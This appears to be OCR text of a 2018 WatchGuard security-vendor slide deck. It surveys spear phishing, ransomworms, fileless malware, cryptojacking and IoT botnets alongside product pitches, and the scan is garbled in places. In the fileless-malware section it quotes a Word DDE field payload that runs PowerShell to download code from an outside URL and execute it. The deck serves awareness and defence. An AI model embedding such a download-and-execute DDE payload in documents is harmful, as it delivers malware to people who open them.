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WatchGuard Intro

Mission: To bring widely deployable, enterprise-grade security to

small and midsize organizations and distributed enterprises.

Unified Threat Management

» Advanced Threat Prevention Security Services

* Intelligent Detection and Response with ThreatSync

* Actionable Visibility & Centralized Management with Dimension
» A complete portfolio high performance Firebox appliances

Secure Cloud Wi-Fi

» Advanced Wireless Security with WIPS

+ Actionable Visibility into Network Activity

» Easy to Use Guest Engagement & Marketing Tools

» Arobust portfolio of high performance cloud-ready Access Points







Endless Data Breaches
NUMBER

OF BREACH 119011866,611

BY SQURCE 918

OVER TIME
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5 Threats to Beware of in 2018

. | Spear Phishing

Ransomworms

Fileless Malware

Crypto Hacking

loT DDoS/DoS







Targeted Attacks Lead with Spear Phishing

Phishing
Spear-Phishing
Whaling
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Targeted deception

Broad attempt to deceive

Customized attempt at deception
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Nearly 80% of all malware
Spear-phisitiagkexanmeléom phishing
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 Malicious attachment fits
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WatchGuard Security Research: Leaked Password Trends

Top 20 Passwords

Top 20 Domains

1 123456 11
2 123456789 12
3 qwerty 13
4 password 14
5  1M11MN 15
6 12345678 16
/7 abc123 17
8 1234567 18
9  password1 19
10 123123 20

1234567890
12345

0
homelesspa
iloveyou
192w3e4rst
gwertyuiop
1234
123456a
123
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yahoo.com
hotmail.com
gmail.com
mail.ru
aol.com
yandex.ru
rambler.ru
hotmail.fr
gg.com

web.de

11
12
13
14
15
16
17
18
19
20

live.com
msn.com
163.com
gmx.de

bk.ru
yahoo.fr
list.ru
hotmail.co.uk
inbox.ru

yahoo.co.uk



Prevention: WatchGuard AuthPoint Secures Authentication
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Easy multi-factor authentication (MFA) for:

Employee PC and Remote access
network login

Privileged users Access to cloud
access services (SaaS)




Prevention: WatchGuard DNSWatch & Awareness Training

gchGuard

DETECT APPLY
THREATS FILTERS DIRECT TRAFFIC
" . — —»D—»ﬁw
i
Known Threat Filtenng

indicators Polces
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What is a RansomWORM?

Ransomware is a form of malware that encrypts
your files and demands you pay a ransom.

A Worm is a type malware that spreads
automatically over your network.

A Ransomworm is ransomware that
spreads




Ransomworm Spreads Globally

NHS, UK (40+ locations)
Telefonica, Spain
Deutsche Bahn

Fedex, US
Strong 2048-bit encryption "WannaCry" ransomware
Leaked NSA exploit (MS17-010) attack losses could reach

$4 billion
~400,000 global victims g T e

~$300-600 ransom (bitcoin)
Mostly Windows 7
Estimated $4 billion in loses




Prevention: Advanced Malware Detection

{ Virtualizes a full victim system

Runs unknown content in J

INTRODUCING

WATCHGUARD
APT BLOCKER.

BECAUSE MOST MALWARE MORPHS.

protected environment

Analyzes behaviors

LEARN MORE »

H Detects sandbox evasion }

@&ch(:uard

[/ Tracks additional malware ‘
| and C&Cs
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Prevention: WatchGuard Host Ransomware Prevention
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& RESPONSE

Stop Advonced Mplware with Correfated Secwnity

;rHREAT DETECTION /A\
N/

* ThreatSync threat intelligence
identifies known malicious processes

* Dynamic process heuristics finds
suspicious processes

 HRP behavior detection could help
too
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What is Fileless Malware?

Fileless Malware:

= Harder for traditional antivirus to detect

= Tends to inject normal processes on your computer
(i.e. Powershell scripts, kernel exploit, etc.) —
= Typically arrives in two ways: —
1. Exploits a software vulnerability on your
computer

2. Can arrive as a document (a file), that runs a
script

A "fileless” infection or fileless malware is a threat that ONLY loads
malicious code in memory, rather than installing it on the victim’s hard drive.
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Fileless Malware Growing

Figure 1. The grown of Sleless and fle-based attacka
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= 77% of attacks that successfully compromised organizations in 2017 utilized
fileless techniques - Ponemon Institute

= Fileless malware attacks accounted for 52% of all attacks in 2017 - Carbon
Black
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* Ponemon Institute’s “The 2017 State of Endpoint Security Risk Report”




Word DDE Attacks Example

Macro-less Word malware abuses
Microsoft's Dynamic Data Execution

(DDE) features to executed code on a
victim computer.

Example:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }

Microsoft Word

s documentt contarn rda that may refer 1o other Nles. Do you want 10 update thn document with, the data
' b e limard Fly”

Show Melg > »

Yo No

Figure 1 An example of the user dialog for documents with DDE content



DDE Attacks Increase Q4 2017

= Example of code in one Word doc:

{ DDEAUTO c:\windows\SysWOWé64\cmd.exe /k powershell -Nonl -NoP -sta
$al=(new-object I0.StreamReader
((([Net.WebRequest]::Create([System.Uri] 'http://lestrangeresearch.com
/kdjsw23FGS') ) .GetResponse ()) .GetResponseStream())) .ReadToEnd () ;power
shell -e Sal }

= Downloads obfuscated code DECODED
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Prevention: Host-Perimeter Correlation
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& RESPONSE

Stop Advonced Mplware with Correfated Secwnity

;rHREAT DETECTION /A\
N/

* ThreatSync Tl identifies known
malicious processes

* Dynamic process heuristics finds
suspicious processes

 HRP behavior detection could help
too

Copyright ©2018 WatchGuard Technologies, Inc. All Rights Reserved







Cyber Criminals Target Anything with Value

How cyber criminals user cryptocurrency:

= Used for "anonymous” ransom currency

= Target online cryptocurrency wallets

* Find and steal cryptocurrency directly from victim computers
= CryptodJacking
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The New Future of Cryptojacking

Cryptojacking

= JavaScript in your web browser to
mine cryptocurrencies

= using your computer’'s CPU

Cryptojacking growth:

= 630 of the top 300,000 websites

= Kaspersky estimates millions of
affected Android devices

= Using Pop-Unders to hide activity
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Cryptocurrency Mining Malware

Fueled by the increase in value of
cryptocurrencies like Bitcoin and Monero

Cisco TALOS estimates $0.25 per computer
per day

2,000 systems = $500 per day or over
$180,000 per year

Smominru alone infected over 500,000 hosts
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Prevention: WatchGuard Unified Threat Management
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Prevention: AuthPoint Secures Authentication

Easy multi-factor authentication (MFA) for:

Employee PC and Remote access
network login

i 1

oo

Privileged users Access to cloud
access services (SaaS)

Copyright ©2018 WatchGuard Technologies, Inc. All Rights Reserved







30

First loT Botnet: Mirai
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NATION 1 prs DDoS Attack

v loT DDoS targets DNS

Mass internet disruption caused by DDoS attack on

: DNS company Dyn (update)
* e
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Linux loT Botnet Used to Spam

P A B L L

Linux o7 botnet retooled 10 send spam emas
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WatchGuard Threat Research — loT Honeynet

= Deployed SSH vulnerable devices with
monitoring tools
— Average: 35 seconds; authentication attempts

: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped

ftp: ELF 32-bDit LSB executable, Intel BO386, version 1 (SYSV), statically linked, not stripped

httpd: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped

kittyphones: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, not stripped

pftp: ELF 32-bDit MSB executable, Motorola mE8k, 68020, version 1 (SYSV), statically linked, not stripped

pléxi686: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

pléxmips: ELF 32-bit MSE executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
pléxmipsel: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped

pléxppc: ELF 32-bit MSB executable, PowerPC or cisco 4508, version 1 (SYSV), statically linked, not stripped
pléxsha: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped

pléxsparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, not stripped
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Three-part Defense
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WatchGuard’s Quarterly Internet Security Report
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Build-Your-Own Threat Landscape!
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https://lwww.secplicity.org
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